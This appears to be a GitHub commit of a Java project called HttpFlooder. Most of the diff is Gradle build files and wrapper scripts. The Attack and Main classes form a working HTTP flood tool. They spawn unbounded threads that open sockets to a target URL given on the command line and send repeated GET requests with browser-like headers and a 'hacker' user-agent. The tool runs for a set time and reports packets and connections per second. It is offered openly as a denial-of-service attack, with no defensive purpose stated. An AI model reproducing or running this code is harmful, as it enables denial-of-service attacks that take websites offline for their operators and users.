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committedApr 1, 2022
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‎.gradle/7.3.3/dependencies-accessors/gc.properties

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‎.gradle/7.3.3/gc.properties

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#Sun Mar 20 20:52:13 IRST 2022
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gradle.version=7.3.3
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‎.gradle/file-system.probe

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‎.gradle/vcs-1/gc.properties

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‎.idea/.gitignore

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‎.idea/artifacts/HttpFlooder_jar.xml

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‎.idea/compiler.xml

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‎.idea/gradle.xml

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‎.idea/jarRepositories.xml

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‎.idea/misc.xml

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‎HttpFlooder.iml

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<?xml version="1.0" encoding="UTF-8"?>
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<module type="JAVA_MODULE" version="4">
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<component name="NewModuleRootManager" inherit-compiler-output="true">
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<exclude-output />
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<content url="file://$MODULE_DIR$" />
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<orderEntry type="inheritedJdk" />
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<orderEntry type="sourceFolder" forTests="false" />
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</component>
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</module>

‎build.gradle

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plugins {
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id 'java'
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}
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group 'com.github.mhprodev'
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version '1.0-SNAPSHOT'
7+
8+
repositories {
9+
mavenCentral()
10+
}
11+
12+
sourceCompatibility = '11'
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targetCompatibility = '11'
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15+
tasks.withType(JavaCompile) {
16+
options.encoding = 'UTF-8'
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}
18+
19+
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21+
dependencies {
22+
implementation 'org.projectlombok:lombok:1.18.22'
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annotationProcessor 'org.projectlombok:lombok:1.18.22'
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}
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Manifest-Version: 1.0
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Main-Class: com.github.mhprodev.httpflooder.Main
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‎build/tmp/jar/MANIFEST.MF

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Manifest-Version: 1.0
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‎gradle/wrapper/gradle-wrapper.jar

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distributionBase=GRADLE_USER_HOME
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distributionPath=wrapper/dists
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distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.3-bin.zip
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zipStoreBase=GRADLE_USER_HOME
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zipStorePath=wrapper/dists

‎gradlew

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#!/usr/bin/env sh
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3+
#
4+
# Copyright 2015 the original author or authors.
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#
6+
# Licensed under the Apache License, Version 2.0 (the "License");
7+
# you may not use this file except in compliance with the License.
8+
# You may obtain a copy of the License at
9+
#
10+
# https://www.apache.org/licenses/LICENSE-2.0
11+
#
12+
# Unless required by applicable law or agreed to in writing, software
13+
# distributed under the License is distributed on an "AS IS" BASIS,
14+
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15+
# See the License for the specific language governing permissions and
16+
# limitations under the License.
17+
#
18+
19+
##############################################################################
20+
##
21+
## Gradle start up script for UN*X
22+
##
23+
##############################################################################
24+
25+
# Attempt to set APP_HOME
26+
# Resolve links: $0 may be a link
27+
PRG="$0"
28+
# Need this for relative symlinks.
29+
while [ -h "$PRG" ] ; do
30+
ls=`ls -ld "$PRG"`
31+
link=`expr "$ls" : '.*-> \(.*\)$'`
32+
if expr "$link" : '/.*' > /dev/null; then
33+
PRG="$link"
34+
else
35+
PRG=`dirname "$PRG"`"/$link"
36+
fi
37+
done
38+
SAVED="`pwd`"
39+
cd "`dirname \"$PRG\"`/" >/dev/null
40+
APP_HOME="`pwd -P`"
41+
cd "$SAVED" >/dev/null
42+
43+
APP_NAME="Gradle"
44+
APP_BASE_NAME=`basename "$0"`
45+
46+
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
47+
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
48+
49+
# Use the maximum available, or set MAX_FD != -1 to use that value.
50+
MAX_FD="maximum"
51+
52+
warn () {
53+
echo "$*"
54+
}
55+
56+
die () {
57+
echo
58+
echo "$*"
59+
echo
60+
exit 1
61+
}
62+
63+
# OS specific support (must be 'true' or 'false').
64+
cygwin=false
65+
msys=false
66+
darwin=false
67+
nonstop=false
68+
case "`uname`" in
69+
CYGWIN* )
70+
cygwin=true
71+
;;
72+
Darwin* )
73+
darwin=true
74+
;;
75+
MINGW* )
76+
msys=true
77+
;;
78+
NONSTOP* )
79+
nonstop=true
80+
;;
81+
esac
82+
83+
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
84+
85+
86+
# Determine the Java command to use to start the JVM.
87+
if [ -n "$JAVA_HOME" ] ; then
88+
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
89+
# IBM's JDK on AIX uses strange locations for the executables
90+
JAVACMD="$JAVA_HOME/jre/sh/java"
91+
else
92+
JAVACMD="$JAVA_HOME/bin/java"
93+
fi
94+
if [ ! -x "$JAVACMD" ] ; then
95+
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
96+
97+
Please set the JAVA_HOME variable in your environment to match the
98+
location of your Java installation."
99+
fi
100+
else
101+
JAVACMD="java"
102+
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
103+
104+
Please set the JAVA_HOME variable in your environment to match the
105+
location of your Java installation."
106+
fi
107+
108+
# Increase the maximum file descriptors if we can.
109+
if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
110+
MAX_FD_LIMIT=`ulimit -H -n`
111+
if [ $? -eq 0 ] ; then
112+
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
113+
MAX_FD="$MAX_FD_LIMIT"
114+
fi
115+
ulimit -n $MAX_FD
116+
if [ $? -ne 0 ] ; then
117+
warn "Could not set maximum file descriptor limit: $MAX_FD"
118+
fi
119+
else
120+
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
121+
fi
122+
fi
123+
124+
# For Darwin, add options to specify how the application appears in the dock
125+
if $darwin; then
126+
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
127+
fi
128+
129+
# For Cygwin or MSYS, switch paths to Windows format before running java
130+
if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
131+
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
132+
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
133+
134+
JAVACMD=`cygpath --unix "$JAVACMD"`
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136+
# We build the pattern for arguments to be converted via cygpath
137+
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
138+
SEP=""
139+
for dir in $ROOTDIRSRAW ; do
140+
ROOTDIRS="$ROOTDIRS$SEP$dir"
141+
SEP="|"
142+
done
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OURCYGPATTERN="(^($ROOTDIRS))"
144+
# Add a user-defined pattern to the cygpath arguments
145+
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
146+
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
147+
fi
148+
# Now convert the arguments - kludge to limit ourselves to /bin/sh
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i=0
150+
for arg in "$@" ; do
151+
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
152+
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
153+
154+
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
155+
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
156+
else
157+
eval `echo args$i`="\"$arg\""
158+
fi
159+
i=`expr $i + 1`
160+
done
161+
case $i in
162+
0) set -- ;;
163+
1) set -- "$args0" ;;
164+
2) set -- "$args0" "$args1" ;;
165+
3) set -- "$args0" "$args1" "$args2" ;;
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4) set -- "$args0" "$args1" "$args2" "$args3" ;;
167+
5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
168+
6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
169+
7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
170+
8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
171+
9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
172+
esac
173+
fi
174+
175+
# Escape application args
176+
save () {
177+
for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
178+
echo " "
179+
}
180+
APP_ARGS=`save "$@"`
181+
182+
# Collect all arguments for the java command, following the shell quoting and substitution rules
183+
eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
184+
185+
exec "$JAVACMD" "$@"

‎gradlew.bat

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1+
@rem
2+
@rem Copyright 2015 the original author or authors.
3+
@rem
4+
@rem Licensed under the Apache License, Version 2.0 (the "License");
5+
@rem you may not use this file except in compliance with the License.
6+
@rem You may obtain a copy of the License at
7+
@rem
8+
@rem https://www.apache.org/licenses/LICENSE-2.0
9+
@rem
10+
@rem Unless required by applicable law or agreed to in writing, software
11+
@rem distributed under the License is distributed on an "AS IS" BASIS,
12+
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
@rem See the License for the specific language governing permissions and
14+
@rem limitations under the License.
15+
@rem
16+
17+
@if "%DEBUG%" == "" @echo off
18+
@rem ##########################################################################
19+
@rem
20+
@rem Gradle startup script for Windows
21+
@rem
22+
@rem ##########################################################################
23+
24+
@rem Set local scope for the variables with windows NT shell
25+
if "%OS%"=="Windows_NT" setlocal
26+
27+
set DIRNAME=%~dp0
28+
if "%DIRNAME%" == "" set DIRNAME=.
29+
set APP_BASE_NAME=%~n0
30+
set APP_HOME=%DIRNAME%
31+
32+
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
33+
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
34+
35+
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
36+
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
37+
38+
@rem Find java.exe
39+
if defined JAVA_HOME goto findJavaFromJavaHome
40+
41+
set JAVA_EXE=java.exe
42+
%JAVA_EXE% -version >NUL 2>&1
43+
if "%ERRORLEVEL%" == "0" goto execute
44+
45+
echo.
46+
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
47+
echo.
48+
echo Please set the JAVA_HOME variable in your environment to match the
49+
echo location of your Java installation.
50+
51+
goto fail
52+
53+
:findJavaFromJavaHome
54+
set JAVA_HOME=%JAVA_HOME:"=%
55+
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
56+
57+
if exist "%JAVA_EXE%" goto execute
58+
59+
echo.
60+
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
61+
echo.
62+
echo Please set the JAVA_HOME variable in your environment to match the
63+
echo location of your Java installation.
64+
65+
goto fail
66+
67+
:execute
68+
@rem Setup the command line
69+
70+
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
71+
72+
73+
@rem Execute Gradle
74+
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
75+
76+
:end
77+
@rem End local scope for the variables with windows NT shell
78+
if "%ERRORLEVEL%"=="0" goto mainEnd
79+
80+
:fail
81+
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
82+
rem the _cmd.exe /c_ return code!
83+
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
84+
exit /b 1
85+
86+
:mainEnd
87+
if "%OS%"=="Windows_NT" endlocal
88+
89+
:omega

‎settings.gradle

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rootProject.name = "HttpFlooder"
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package com.github.mhprodev.httpflooder;
2+
3+
4+
import java.io.BufferedOutputStream;
5+
import java.net.InetSocketAddress;
6+
import java.net.Socket;
7+
import java.nio.charset.StandardCharsets;
8+
9+
public class Attack implements Runnable {
10+
@Override
11+
public void run() {
12+
while (!Main.isRunning()) {
13+
try {
14+
Thread.sleep(1000);
15+
} catch (InterruptedException ignored) {
16+
17+
}
18+
}
19+
while (Main.isRunning()) {
20+
new Thread(() -> {
21+
try (Socket socket = new Socket()) {
22+
socket.setTcpNoDelay(true);
23+
socket.setSoTimeout(1000);
24+
try {
25+
socket.connect(new InetSocketAddress(Main.getUrl().getHost(), Main.getUrl().getPort()));
26+
} catch (Exception ignored) {
27+
socket.connect(new InetSocketAddress(Main.getUrl().getHost(), Main.getUrl().getDefaultPort()));
28+
}
29+
30+
try (BufferedOutputStream writer = new BufferedOutputStream(socket.getOutputStream())) {
31+
Main.cps++;
32+
for (int i = 0; (i < Main.getRpc() + 1 && socket.isConnected()); i++) {
33+
writer.write(String.format("GET /%s HTTP/1.1\r\n", Main.getUrl().getPath())
34+
.getBytes(StandardCharsets.UTF_8));
35+
writer.write(String.format("Host: %s\r\n", Main.getUrl().getAuthority())
36+
.getBytes(StandardCharsets.UTF_8));
37+
writer.write("Connection: keep-alive\r\n"
38+
.getBytes(StandardCharsets.UTF_8));
39+
writer.write("Accept-Encoding: gzip, deflate, br\r\n"
40+
.getBytes(StandardCharsets.UTF_8));
41+
writer.write("Accept-Language: en-US,en;q=0.9\r\n"
42+
.getBytes(StandardCharsets.UTF_8));
43+
writer.write("Cache-Control: max-age=0\r\n"
44+
.getBytes(StandardCharsets.UTF_8));
45+
writer.write("Sec-Fetch-Dest: document\r\n"
46+
.getBytes(StandardCharsets.UTF_8));
47+
writer.write(("User-agent: hacker\r\n" +
48+
"").getBytes(StandardCharsets.UTF_8));
49+
writer.write("Sec-Fetch-Mode: navigate\r\n"
50+
.getBytes(StandardCharsets.UTF_8));
51+
writer.write("Sec-Fetch-Site: none\r\n"
52+
.getBytes(StandardCharsets.UTF_8));
53+
writer.write("Sec-Fetch-User: ?1\r\n"
54+
.getBytes(StandardCharsets.UTF_8));
55+
writer.write("Sec-Gpc: 1\r\n"
56+
.getBytes(StandardCharsets.UTF_8));
57+
writer.write("Pragma: no-cache\r\n"
58+
.getBytes(StandardCharsets.UTF_8));
59+
writer.write("Upgrade-Insecure-Requests: 1\r\n"
60+
.getBytes(StandardCharsets.UTF_8));
61+
writer.write("\r\n"
62+
.getBytes(StandardCharsets.UTF_8));
63+
writer.flush();
64+
Main.pps++;
65+
}
66+
}
67+
} catch (Exception ignored) {
68+
69+
}
70+
}).start();
71+
}
72+
}
73+
}
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1+
package com.github.mhprodev.httpflooder;
2+
3+
import lombok.Getter;
4+
import lombok.Setter;
5+
import lombok.experimental.UtilityClass;
6+
7+
import java.net.MalformedURLException;
8+
import java.net.URL;
9+
10+
@UtilityClass
11+
public class Main {
12+
@Getter
13+
private int threads;
14+
@Getter
15+
private URL url;
16+
@Getter
17+
private int rpc;
18+
public int pps = 0;
19+
public int cps = 0;
20+
@Getter
21+
@Setter
22+
private boolean running = false;
23+
24+
public void main(String[] args) {
25+
try {
26+
Validate.validArgs(args, 3, "java -jar script.jar <target> <threads> <rpc> <timer>");
27+
Validate.validClass(args[0], URL.class, "Invalid url");
28+
Validate.validClass(args[1], Integer.class, "Invalid threads integer");
29+
Validate.validClass(args[2], Integer.class, "Invalid connection pre seconds");
30+
Validate.validClass(args[3], Integer.class, "Invalid timer");
31+
32+
url = new URL(args[0]);
33+
threads = Integer.parseInt(args[1]);
34+
rpc = Integer.parseInt(args[2]);
35+
int timer = Integer.parseInt(args[3]);
36+
37+
for (int i = 0; i < threads; i++) {
38+
final Thread thread = new Thread(new Attack());
39+
thread.setDaemon(true);
40+
thread.start();
41+
}
42+
43+
Main.setRunning(true);
44+
while (timer > 0) {
45+
timer -= 1;
46+
Thread.sleep(1000);
47+
System.out.printf("PPS: %d CPS: %d\n", Main.pps, Main.cps);
48+
Main.pps = 0;
49+
Main.cps = 0;
50+
}
51+
Main.setRunning(false);
52+
} catch (IllegalAccessException e) {
53+
System.out.println(e.getLocalizedMessage());
54+
} catch (MalformedURLException | InterruptedException e) {
55+
e.printStackTrace();
56+
}
57+
}
58+
}
Original file line numberDiff line numberDiff line change
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1+
package com.github.mhprodev.httpflooder;
2+
3+
import lombok.experimental.UtilityClass;
4+
5+
import java.net.URL;
6+
7+
@UtilityClass
8+
public class Validate {
9+
public void validArgs(String[] args, int i, String format) throws IllegalAccessException {
10+
if (args.length < i) {
11+
throw new IllegalAccessException(format);
12+
}
13+
}
14+
15+
public void validClass(String arg, Class<?> aClass, String format) throws IllegalAccessException {
16+
try {
17+
if (Integer.class.equals(aClass)) {
18+
Integer.parseInt(arg);
19+
} else if (URL.class.equals(aClass)) {
20+
new URL(arg);
21+
}
22+
} catch (Exception e) {
23+
throw new IllegalAccessException(format);
24+
}
25+
}
26+
}

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